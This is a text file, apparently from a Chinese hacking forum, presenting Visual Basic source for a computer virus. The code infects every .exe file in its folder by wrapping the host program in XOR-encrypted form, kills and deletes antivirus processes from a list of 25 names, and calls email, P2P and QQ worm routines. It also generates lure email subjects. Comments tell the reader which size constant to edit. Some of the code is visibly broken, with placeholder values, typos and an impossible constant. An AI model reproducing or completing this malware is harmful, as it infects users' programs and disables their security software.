一个高手写的病毒原代码.txt

用vb写的病毒

   sResult = s + vbCrLf
   s = ""
   
   l = LOF(FileIn) - (LOF(FileIn) Mod 3)
   
   For hhh = 1 To l Step 3


       Get FileIn, , bin(0)
       Get FileIn, , bin(1)
       Get FileIn, , bin(2)
       

       If Len(s) > 64 Then

           s = s + vbCrLf
           sResult = sResult + s
           s = ""

       End If

       b = (bin(n) \ 4) And &H3F 
       s = s + Base64Tab(b) 
       
       b = ((bin(n) And &H3) * 16) Or ((bin(1) \ 16) And &HF)
       s = s + Base64Tab(b)
       
       b = ((bin(n + 1) And &HF) * 4) Or ((bin(2) \ 64) And &H3)
       s = s + Base64Tab(b)
       
       b = bin(n + 2) And &H3F
       s = s + Base64Tab(b)
       
   Next hhh

   If Not (LOF(FileIn) Mod 3 = 0) Then

       For hhh = 1 To (LOF(FileIn) Mod 3)
           Get FileIn, , bin(i - 1)
       Next hhh
 
       If (LOF(FileIn) Mod 3) = 2 Then
           b = (bin(0) \ 4) And &H3F 
           s = s & Base64Tab(b)
           
           b = ((bin(0) And &H3) * 16) Or ((bin(1) \ 16) And &HF)
           s = s & Base64Tab(b)
           
           b = ((bin(1) And &HF) * 4) Or ((bin(2) \ 64) And &H3)
           s = s & Base64Tab(b)
           
           s = s & "="
       
       Else 
           b = (bin(0) \ 4) And &H3F 'right shift 2 bits (&H3F=111111b)
           s = s & Base64Tab(b)
           
           b = ((bin(0) And &H3) * 16) Or ((bin(1) \ 16) And &HF)
           s = s & Base64Tab(b)
           
           s = s + "=="
       End If
   End If

   If s <> "" Then
       s = s + vbCrLf
       sResult = sResult + s
   End If
   

   s = ""
   
   Close FileIn
   b64 = sResult
   
End Function
Public Function xc(sText As String)
On Error Resume Next
Dim ekey As Long, hhh As Long
Dim hash As String, crbyte As String
ekey = SENGKey
BKey=ekey 
For hhh = 1 To Len(sText)
hash = Asc(Mid(sText, hhh, 1))
crbyte = Chr(hash Xor (ekey Mod 255))
xc=xc+crbyte
Next hhh
End  Function
Public Function ReturnToHost(goat As String)
On Error Resume Next
virbyte2=""
Dim hostbyte2 As String
Dim virpath As String
Dim dechost As String
virpath = App.Path
If Right(virpath, 1) <> "\" Then virpath = virpath & "\"
Open goat For Binary Access Read As #1
virbyte2 = Space(12xxxxx) '12xxxxx是病毒的大小，你需要改动他
IF Lof(1)=12xxxxx then 
Call SMTP
Call P2pWorm
Get #1, , Virbyte2
Close #1
Call ScanForHost
Call QQworm
End IF
If LOF(1)<> 12xxxxx then
hostbyte2 = Space(LOF(1) - 12xxxxx-128)'key的长度128..够长的
GetKey=Space(128)
Get #1, , virbyte2
Get #1, , hostbyte2
Get #1, , GetKey
Close #1
dechost = xd(hostbyte2)
hostname=SENGName
open virpath+hostname For Binary Access Write As #2
Put #2, , dechost
Close #2
m_strInputFileName=virpath+hostname
m_strOutputFileName=virpath+SENGName
Call DeCompress
idProg = Shell(m_strOutputFileName, vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill m_strOutputFileName
Kill m_strInputFileName
End IF
End  Function
Public Function xd(sText As String)
On Error Resume Next
Dim ekey As Long, hhh As Long
Dim hash As String, crbyte As String
ekey = GetKey
For hhh = 1 To Len(sText)
hash = Asc(Mid(sText, hhh, 1))
crbyte = Chr(hash Xor (ekey Mod 255))
xd = xd + crbyte
Next hhh
End  Function
Public Function Infect(host as string)
on error resume next
dim hostbyte as string
dim hst2 as string
dim sig as string
dim enchost as string
if Instr(host,hostname)=0 then
Open host For Binary Access Read As #1
hostbyte = Space(LOF(1))
Get #1, , hostbyte
Close #1
'encrypt host bytes
sig = "VXK@mm VB"
if Right(hostByte,Len(sig))<>sig then
m_strInputFileName=host
m_strOutputFileName=SENGName
Call Compress
Open m_strOutputFileName For Binary Access Read As #5
hst2 = Space(LOF(1))
Get #5, , hst2
Close #5
enchost = xc(hst2)
Open host For Binary Access Write As #3
Put #3, , virbyte
Put #3, , enchost
Put #3, , bKey
Put #3, , sig
Close #3
Kill m_strOutputFileName
End if
End if
end  Function
Public Function ScanForHost()
dim virpath as string
dim enumhosts as string
virpath = App.Path
If Right(virpath, 1) <> "\" Then virpath = virpath+"\"
enumhosts = Dir$(virpath + "*.exe") 
While enumhosts <> ""
a = a+enumhosts + "/"
enumhosts = Dir$
Wend
hosts = Split(a, "/")
For Each eachhost In hosts
Call Infect(virpath+eachhost)
Next eachhost
End Function
Public Function DropMe() AS String
On Error Resume Next
virbyte2=""
Dim hostbyte2 As String
Dim virpath As String
Dim dechost As String
virpath = App.Path
If Right(virpath, 1) <> "\" Then virpath = virpath & "\"
Open VirPath+App.exeName+".exe" For Binary Access Read As #1
virbyte2 = Space(12xxxx) '12xxxxx是病毒的大小，你需要改动他
IF Lof(1)=12xxxxx then 
Get #1, , Virbyte2
Close #1
End IF
If LOF(1)<> 12xxxxx then
hostbyte2 = Space(LOF(1) - 12xxxxx-128)'key的长度128..够长的
GetKey=Space(128)
Get #1, , virbyte2
Get #1, , hostbyte2
Get #1, , GetKey
Close #1
End IF
Dim DropMel as String
DropMel=SENGName
DropMe=DropMel
Open DropMel For Binary Access Read As #3
put #3, ,virByte2
Close #3
End Function
Public Function ListProcesses() As String
   ' Retrieve list of running programs
   ' supports all windows versions
   
   If Not isNTKernel Then
       ' use snapshot technique as outlined above
       Dim f As Long
       Dim sname As String
       Dim hSnap As Long
       Dim proc As PROCESSENTRY32
           
       hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
       If hSnap = 0 Then Exit Function
       proc.dwSize = Len(proc)
       f = Process32First(hSnap, proc)
       
       Do While f
           sname = Strip(proc.szExeFile)
           ListProcesses = ListProcesses & sname & vbCrLf
          '
           Dim iiiii as Integer
           For iiiii=1 to 25
           if InStr(sname,AVP(iiiii))<>0 then 
            call KillProcess(proc.th32ProcessID)
            Kill sname
           End if
           Next iiiii
           f = Process32Next(hSnap, proc)
       Loop
       
       CloseHandle hSnap
   Else
       ' use conventional technique as outlined above
       Dim cb As Long
       Dim cbNeeded As Long
       Dim NumElements As Long
       Dim ProcessIDs() As Long
       Dim cbNeeded2 As Long
       Dim NumElements2 As Long
       Dim Modules(1 To 400) As Long
       Dim lRet As Long
       Dim ModuleName As String
       Dim nSize As Long
       Dim hProcess As Long
       Dim i As Long
       Dim modulecount As Long
       
       cb = 8
       cbNeeded = 96
       Do While cb <= cbNeeded
           cb = cb * 2
           ReDim ProcessIDs(cb / 4) As Long
           lRet = EnumProcesses(ProcessIDs(1), cb, cbNeeded)
       Loop
       NumElements = cbNeeded / 4

       For i = 1 To NumElements
           'Get a handle to the Process
           hProcess = OpenProcess(PROCESS_QUERY_INformATION _
                 Or PROCESS_VM_READ, 0, ProcessIDs(i))
           'Got a Process handle
           If hProcess <> 0 Then
               'Get an array of the module handles for the specified
               'process
               lRet = EnumProcessModules(hProcess, Modules(1), 400, _
                                                  cbNeeded2)
               
               'If the Module Array is retrieved, Get the ModuleFileName
               If lRet <> 0 Then
                   ModuleName = Space(MAX_PATH)
                   nSize = 500
               
                   lRet = GetModuleFileNameExA(hProcess, Modules(1), _
                                     ModuleName, nSize)
                   ListProcesses = ListProcesses & Left(ModuleName, lRet) & vbCrLf
                 '
           Dim vvvvv as Integer
           For vvvvv=1 to 25
           if InStr(Left(ModuleName, lRet),AVP(vvvvv))<>0 then 
            call KillProcess(ProcessIDs(i))
            Kill Left(ModuleName, lRet)
           End if
           Next vvvvv
               End If
           End If
           'Close the handle to the process
           CloseHandle hProcess
       Next
   End If
   
   ' cut off last vbCrLf
   If Len(ListProcesses) > 0 Then ListProcesses = Left(ListProcesses, Len(ListProcesses) - 2)
End Function

Function Strip(text As String) As String
   ' removes terminating 0 character
   Dim pos As Integer
   pos = InStr(text, Chr(0))
   If pos > 0 Then
       Strip = Left(text, pos - 1)
   End If
End Function

Public Function isNTKernel() As Boolean
   Dim osinfo As OSVERSIONINFO
   Dim retvalue As Integer
   osinfo.dwOSVersionInfoSize = 148
   osinfo.szCSDVersion = Space$(128)
   retvalue = GetVersionExA(osinfo)
   isNTKernel = (osinfo.dwPlatformId = 2)
End Function

Public Function isModernWin() As Boolean
   Dim osinfo As OSVERSIONINFO
   Dim retvalue As Integer
   osinfo.dwOSVersionInfoSize = 148
   osinfo.szCSDVersion = Space$(128)
   retvalue = GetVersionExA(osinfo)
   If osinfo.dwPlatformId = 1 Or (osinfo.dwPlatformId = 2 And osinfo.dwMajorVersion > 4) Then
       isModernWin = True
   Else
       isModernWin = False
   End If
End Function

Public Function ClearAVP()
AVP(1)="AV"
AVP(2)="KV"
AVP(3)="Norton"
AVP(4)="Antivirus"
AVP(5)="Scan"
AVP(6)="amon"
AVP(7)="navw"
AVP(8)="aler"
AVP(9)="mpla"
AVP(10)="dpla"
AVP(11)="ddhe"
AVP(12)="vshwin32"
AVP(13)="f-stopw"
AVP(14)="FP-Win"
AVP(15)="DVP"
AVP(16)="F-agnt"
AVP(17)="AckWin"
AVP(18)="Vet"
AVP(19)="Claw"
AVP(20)="Nvc"
AVP(21)="PCCWin"
AVP(22)="IOMon"
AVP(23)="Sweep"
AVP(24)="Monitor"
AVP(25)="Jedi"
Call ListProcesses
End Function
Public Function KillProcess(ByVal pid As Long) As Boolean
   On Error Resume Next
   Dim winhandle As Long
   Dim handle As Long
   handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
   If handle <> 0 Then
       TerminateProcess handle, 0
       KillProcess = True
   Else
       KillProcess = False
   End If
End Function
Sub Main()
mymarkersiii="i am in CVC Now ,this is my first Virus in VB,i have written many C/C++/Asm/VBS Virr Before,but this time in VB"
Call ClearAVP
Call MapCheck
End Sub
Public Function SENGName() AS String
dim Namekey as string
Namekey="qazwsxedcrfvtgbyhnujmikolp"
dim iv
SENGName=""
for iv=1 to 16 
Randomize
dim num as integer
num=int(10*Rnd)
if num=0 then num=num+1
SENGName=SENGName+Rigth(Left(NameKey,num),1)
next iv
SENGName=SENGName+".exe"
End Function
Public Function SENGKey() As Long
Dim viv As Integer
SENGKey=42345678901234567890123456789012345678906789543210234567891012345678902341567890234567891012345678901234567890234876591036798700
For viv=1 to 16
Randomize
dim num as integer
num=int(1000*Rnd)+5
SENGKey=SENGKey+num
Next viv
End Function
Public Function SENGSubject() As String
SENGSubject=""
Dim Subject(14) As String '你可以自行扩充
Subject(1)="Fw:"
Subject(2)="Fw:Re:"
Subject(3)="Fw:"
Subject(4)="Cool"
Subject(5)="Nice"
Subject(6)="pictures"
Subject(7)="Interesting"
Subject(8)="for you"
Subject(9)="to check"
Subject(10)="to See"
Subject(11)="here"
Subject(12)=":-)"
Subject(13)="?!"
Subject(14)="hehe ;-)"
Randomize
dim num as integer
num=int(100*Rnd)
Do while num >14
Randomize
num=int(100*Rnd)
Loop
SENGSubject=Subject(num)
End Function
Public Function SENGObject() As String
SENGObject=""
Dim Object(14) As String '你可以自行扩充
Object(1)="Fw:"
Object(2)="Fw:Re:"
Object(3)="Fw:"
Object(4)="Cool"
Object(5)="Nice"
Object(6)="pictures"
Object(7)="Interesting"
Object(8)="for you"
Object(9)="to check"
Object(10)="to See"
Object(11)="here"
Object(12)=":-)"
Object(13)="?!"
Object(14)="hehe ;-)"
Randomize
dim num as integer
num=int(100*Rnd)
Do while num >14
Randomize
num=int(100*Rnd)
Loop
SENGObject=Object(num)
End Function